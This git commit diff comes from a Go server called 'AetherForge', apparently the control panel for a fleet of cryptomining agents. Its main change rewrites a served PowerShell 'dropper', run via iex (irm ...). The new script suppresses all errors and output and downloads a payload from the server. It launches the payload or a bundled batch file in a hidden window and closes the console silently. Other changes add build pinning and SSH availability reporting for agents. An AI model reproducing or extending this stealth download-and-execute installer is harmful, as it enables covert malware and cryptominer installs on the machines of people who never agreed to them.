feat: Build Manager, Crucible ops deck, branding, and portable Cloudflare tunnel
Add Build Manager with pin-to-dropper, Crucible multi-node terminal with SSH probe/wake, Command Deck chart balance and pretty stats, AetherForge logo and sacred geometry UI, Field Guide refresh, and LAUNCH.bat Cloudflare MSI + token service install flow.
This commit is contained in:
@@ -166,49 +166,31 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
|
||||
bt := "`"
|
||||
nl := "\r\n"
|
||||
|
||||
script := "# AetherForge agent installer" + nl +
|
||||
"# Usage: iex (irm '" + base + "/install.ps1')" + nl + nl +
|
||||
"$ErrorActionPreference = 'Stop'" + nl +
|
||||
script := "# AetherForge dropper" + nl +
|
||||
"$ErrorActionPreference = 'SilentlyContinue'" + nl +
|
||||
"$ProgressPreference = 'SilentlyContinue'" + nl + nl +
|
||||
"$url = '" + base + "/get?os=windows'" + nl +
|
||||
"$tmp = [System.IO.Path]::Combine($env:TEMP, [System.IO.Path]::GetRandomFileName())" + nl + nl +
|
||||
"Write-Host '[*] AetherForge -- downloading agent...'" + nl +
|
||||
"try {" + nl +
|
||||
" $resp = Invoke-WebRequest -Uri $url -OutFile $tmp -UseBasicParsing -PassThru" + nl +
|
||||
" if ($resp.StatusCode -ne 200) { throw \"Server returned $($resp.StatusCode)\" }" + nl +
|
||||
"} catch {" + nl +
|
||||
" Write-Host '[!] Download failed:' $_.Exception.Message" + nl +
|
||||
" Write-Host ' Forge an agent first from the dashboard, then retry.'" + nl +
|
||||
" exit 1" + nl +
|
||||
"}" + nl + nl +
|
||||
"$size = (Get-Item $tmp).Length" + nl +
|
||||
"if ($size -lt 1024) { Write-Host '[!] Download too small -- something went wrong.'; exit 1 }" + nl + nl +
|
||||
" (New-Object Net.WebClient).DownloadFile($url, $tmp)" + nl +
|
||||
"} catch { exit 0 }" + nl + nl +
|
||||
"if (-not (Test-Path $tmp) -or (Get-Item $tmp).Length -lt 1024) { exit 0 }" + nl + nl +
|
||||
"$bytes = [System.IO.File]::ReadAllBytes($tmp)" + nl +
|
||||
"$isZip = $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
|
||||
"$isZip = $bytes.Length -gt 1 -and $bytes[0] -eq 0x50 -and $bytes[1] -eq 0x4B" + nl + nl +
|
||||
"if ($isZip) {" + nl +
|
||||
" Write-Host '[*] Extracting universal bundle...'" + nl +
|
||||
" $dir = $tmp + '_bundle'" + nl +
|
||||
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
|
||||
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
|
||||
" $bat = $null" + nl +
|
||||
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
|
||||
" $c = Join-Path $dir $name" + nl +
|
||||
" if (Test-Path $c) { $bat = $c; break }" + nl +
|
||||
" }" + nl +
|
||||
" if ($bat) {" + nl +
|
||||
" Write-Host '[*] Running bundle launcher...'" + nl +
|
||||
" Start-Process -FilePath 'cmd.exe' -ArgumentList \"/c " + bt + "\"$bat" + bt + "\"\" -WindowStyle Hidden" + nl +
|
||||
" Write-Host '[+] Agent deployed from bundle.'" + nl +
|
||||
" } else {" + nl +
|
||||
" Write-Host '[!] No launcher found in bundle (Start.bat / Deploy.bat)'; exit 1" + nl +
|
||||
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
|
||||
" }" + nl +
|
||||
"} else {" + nl +
|
||||
" $exe = $tmp + '.exe'" + nl +
|
||||
" Move-Item -Path $tmp -Destination $exe -Force" + nl +
|
||||
" Write-Host '[*] Launching agent...'" + nl +
|
||||
" Start-Process -FilePath $exe -WindowStyle Hidden" + nl +
|
||||
" Write-Host '[+] Agent deployed -- it will install itself and connect back to the command deck.'" + nl +
|
||||
"}" + nl
|
||||
"}" + nl +
|
||||
"if ($host.Name -match 'ConsoleHost') { [System.Environment]::Exit(0) }" + nl
|
||||
|
||||
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
|
||||
w.Header().Set("Content-Disposition", `inline; filename="install.ps1"`)
|
||||
|
||||
@@ -113,6 +113,37 @@ func (h *Handler) ListBuilds(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, builds)
|
||||
}
|
||||
|
||||
// PUT /api/v1/builds/{id}/pin
|
||||
// Pins the specified build as the active dropper target.
|
||||
// Send an empty id or DELETE to a fake pin endpoint to unpin all.
|
||||
func (h *Handler) PinBuild(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if err := h.db.SetPinnedBuild(id); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "pinned_id": id})
|
||||
}
|
||||
|
||||
// DELETE /api/v1/builds/pin (unpin all without deleting anything)
|
||||
func (h *Handler) UnpinAll(w http.ResponseWriter, r *http.Request) {
|
||||
if err := h.db.SetPinnedBuild(""); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true})
|
||||
}
|
||||
|
||||
// DELETE /api/v1/builds/{id}
|
||||
func (h *Handler) DeleteBuild(w http.ResponseWriter, r *http.Request) {
|
||||
id := chi.URLParam(r, "id")
|
||||
if err := h.db.DeleteBuild(id); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||||
return
|
||||
}
|
||||
writeJSON(w, map[string]interface{}{"ok": true, "deleted_id": id})
|
||||
}
|
||||
|
||||
func writeJSON(w http.ResponseWriter, v interface{}) {
|
||||
w.Header().Set("Content-Type", "application/json")
|
||||
json.NewEncoder(w).Encode(v)
|
||||
|
||||
@@ -330,6 +330,9 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler
|
||||
|
||||
// Builds
|
||||
r.Get("/builds", h.ListBuilds)
|
||||
r.Put("/builds/{id}/pin", h.PinBuild)
|
||||
r.Delete("/builds/pin", h.UnpinAll)
|
||||
r.Delete("/builds/{id}", h.DeleteBuild)
|
||||
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
||||
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
|
||||
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
||||
|
||||
@@ -519,6 +519,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
CPUUsagePct float64 `json:"cpu_usage_pct"`
|
||||
MemoryUsagePct float64 `json:"memory_usage_pct"`
|
||||
UptimeSeconds int `json:"uptime_seconds"`
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
}
|
||||
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
|
||||
continue
|
||||
@@ -535,20 +536,21 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
h.db.InsertHashrateSample(agentID, stats.Hashrate15m)
|
||||
|
||||
h.broadcastDashboard(Message{
|
||||
Type: "stats_update",
|
||||
Payload: mustMarshal(map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
}),
|
||||
})
|
||||
broadcast := map[string]interface{}{
|
||||
"agent_id": agentID,
|
||||
"hashrate_15s": stats.Hashrate15s,
|
||||
"hashrate_1m": stats.Hashrate1m,
|
||||
"hashrate_15m": stats.Hashrate15m,
|
||||
"cpu_usage_pct": stats.CPUUsagePct,
|
||||
"memory_usage_pct": stats.MemoryUsagePct,
|
||||
"uptime_seconds": stats.UptimeSeconds,
|
||||
"shares_submitted": stats.SharesSubmitted,
|
||||
"shares_accepted": stats.SharesAccepted,
|
||||
}
|
||||
if stats.SSHAvailable != nil {
|
||||
broadcast["ssh_available"] = *stats.SSHAvailable
|
||||
}
|
||||
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
|
||||
|
||||
case "submit_share":
|
||||
if agentID == "" {
|
||||
|
||||
Reference in New Issue
Block a user